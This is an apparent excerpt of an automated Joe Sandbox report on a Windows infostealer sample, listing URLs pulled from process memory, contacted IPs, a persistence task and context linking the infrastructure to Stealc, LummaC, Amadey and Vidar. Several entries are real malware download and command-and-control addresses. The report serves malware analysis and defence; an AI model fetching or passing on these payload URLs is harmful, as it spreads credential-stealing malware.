https://github.com/Pester/Pester	powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/FunnyJellyfish.exe6	skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
http://185.215.113.206rontdesk	file.exe, 00000000.00000002.1920780463.0000000000665000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exez	file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?	regsvr32.exe, 00000024.00000003.2594601776.00000000034CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	FunnyJellyfish.tmp, 00000022.00000003.2568234149.0000000005C60000.00000004.00001000.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000002.2625202891.00007FFB0D695000.00000002.00000001.01000000.00000012.sdmp, is-4PJR3.tmp.34.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.9.dr	false		high
https://ecs.n	regsvr32.exe, 00000024.00000003.2595476742.000000000309C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/FunnyJellyfish.exeZ	skotes.exe, 00000019.00000002.2624546443.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log4.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000025.00000002.2625519157.00000230C8B1A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/	000003.log9.9.dr	false		high
http://31.41.244.11/files/FunnyJellyfish.exe	skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1939314801.000000001D826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1960034043.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&	regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpOS=Windows_NTPat	file.exe, 00000000.00000002.1946387872.000000002386B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000025.00000002.2625519157.00000230C8C2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000025.00000002.2625519157.00000230C8B1A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeemp	skotes.exe, 00000019.00000002.2624546443.0000000000E1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe506238476Q	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeg	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/softokn3.dllM	file.exe, 00000000.00000002.1922769544.000000000116A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-autopush.corp.google.com/	manifest.json0.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	regsvr32.exe, 00000024.00000003.2595476742.00000000030A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288	000003.log9.9.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe5062384760	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
3.168.102.127	unknown	United States	16509	AMAZON-02US	false
23.219.82.90	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.208.16.90	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.133.59	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.153.29.52	unknown	United States	3356	LEVEL3US	false
23.44.203.20	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.86	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.219.82.49	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.44.133.11	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.99.185.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560505
Start date and time:	2024-11-21 22:03:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@92/311@24/27
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 64.233.165.84, 34.104.35.123, 142.250.181.99, 199.232.210.172, 142.250.181.138, 142.250.181.10, 172.217.17.74, 172.217.19.170, 142.250.181.42, 216.58.208.234, 172.217.19.202, 142.250.181.74, 172.217.17.42, 172.217.19.234, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.42.16, 13.107.6.158, 172.165.61.93, 23.32.239.56, 23.32.239.18, 2.16.158.176, 2.16.158.96, 2.16.158.97, 2.16.158.184, 2.16.158.26, 2.16.158.169, 2.16.158.171, 2.16.158.192, 2.16.158.186, 23.32.239.58, 2.19.198.17, 2.16.158.56, 2.16.158.80, 2.16.158.82, 2.16.158.83, 2.16.158.185, 2.23.209.135, 2.23.209.173, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.165.69.228, 142.250.65.163, 142.251.32.99, 142.251.41.3, 142.251.40.227
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, otelrules.afd.azureedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.
Execution Graph export aborted for target DocumentsHCAEHJJKFC.exe, PID 9000 because it is empty
Execution Graph export aborted for target file.exe, PID 7840 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7544 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7580 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:04:50	API Interceptor	168x Sleep call for process: file.exe modified
16:06:02	API Interceptor	186x Sleep call for process: skotes.exe modified
16:06:23	API Interceptor	1x Sleep call for process: powershell.exe modified
22:05:15	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.32.99.21
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.99.105
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	https://www.canva.com/design/DAGXCpgrUrs/iMtluWgvWDmsrSdUOsij5Q/view?utm_content=DAGXCpgrUrs&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
AMAZON-02US	tftp.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://bafkreifkijr4deqnzixvigwgbpmegtl7w7z65bwaf2xegf6wb5oejvy7je.ipfs.flk-ipfs.xyz/#mail@andrejsmanagement.com&c=E,1,7ZfSQ9vAYe7rvB9NwKAqcoBV6_2nCPL09QKb7jG3WYDaiZix9u1hiaulren8GlCVh8tr3ArY61yo0-gZFvLQqJ6pANsbQuIKnEW2EuUntXIIWBvyOuRTAdpQ&typo=1	Get hash	malicious	Unknown	Browse	108.158.75.9
	https://t.apemail.net/c/nqkr6vk3kzmvyhqvdmdrwaabb4caabycb4nqogyhdmkxs5qvdmkqcvagayhveflk-nqdbwfkcivnrkgyvpf3bkgygamaa4bqedmcagbahdmdrwbqcaubqoayfdmdrwby3cupvkw2wlfob4fi3a4nvsqs3lmnrkzcskzbugw2sc5svevs3c5zeiq2winjbo5kcirpfsuseiqlwer2tkzbvefi3aaaq6baaa4ba6gyvl5bugr2ebumbqvsdjzlfcgk3jymfmrcekjbuifi3incueuq3aabaegyvpf3bkg2zijnvwg2zijnvwg2zijnvwg2zijnvwgyvafkambqpkikwu	Get hash	malicious	Unknown	Browse	54.201.238.29
	ULNZPn6D33.exe	Get hash	malicious	Sliver	Browse	18.197.239.5
	https://webconference.protected-forms.com/XUktQL21CbERuN3Ftbmk5UlBMbGhLNWU5aGswN2dIN014czFGV0c2YnRkQkFmNTh5T2RFZTJpSnRkYXZoMGdjMkR2Zk1JQXk1N0F1cFBQbTlZTjFJLzIyY0JXOG5RM2NtL3p3ZW5tSFhuUFdCdjFmRFhMSC9kVHErbytLbmdDeWVUL3hKcmkwaGh1NHJrbzV2UCszK0tOZ3RHb0FPdkN1cE5CMFZFQytIL2lBekM3dmFCTWhJckE9PS0tOFFraUx6Q2RGc1dJb0I0bi0taW9KaWdEQ3l6WnQ4Rmw2U29qT05Udz09?cid=2104653964	Get hash	malicious	KnowBe4	Browse	13.227.8.37
	sshd.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	bZPAo2e2Pv.jar	Get hash	malicious	Can Stealer	Browse	45.112.123.126
	https://new.goshenpubliclibrary.org/	Get hash	malicious	Unknown	Browse	143.204.98.6
	bZPAo2e2Pv.jar	Get hash	malicious	Can Stealer	Browse	45.112.123.126
	OGo8AQxn4k.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
EDGECASTUS	http://clearview-ps.inwise.net/page_11-21-2024_1	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	152.199.21.175
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	152.199.21.175
	November Billing.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Quote Request.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	https://1drv.ms/o/c/1ba8fd2bd98c98a8/EmMMbLWVyqxBh9Z6zxri2ZUBVkwUpSiY2KbvhupkdaFzGA?e=F6pNlD	Get hash	malicious	Unknown	Browse	152.199.21.175
	Kellyb Timesheet Report.pdf	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	152.199.21.175
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
MICROSOFT-CORP-MSN-AS-BLOCKUS	[EXTERNAL] Oakville shared ''o_akville_853473074_21.11.2024''.eml	Get hash	malicious	Unknown	Browse	20.44.10.123
	https://facial.ws	Get hash	malicious	Unknown	Browse	52.175.244.47
	http://clearview-ps.inwise.net/page_11-21-2024_1	Get hash	malicious	Unknown	Browse	13.107.246.63
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	13.107.246.63
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	40.99.60.2
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	40.101.92.18
	scam.html	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://cheddar-olive-hospital.glitch.me/home.html	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	https://facial.ws	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	https://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-7e913ffa-lok1anrm	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	http://main.cloudfronts.net/dns/sshd	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	https://tronblma3sw.z13.web.core.windows.net/?click_id=2isqs9om0m3rjybj2&tid=903&subid=novatechwheels.com&ref=novatechwheels.com&922%5D	Get hash	malicious	TechSupportScam	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	http://powerspecinc.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	https://form.questionscout.com/67127ef13f65b43e0e3a56dc	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	http://clearview-ps.inwise.net/page_11-21-2024_1	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 184.28.90.27 20.190.177.23

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
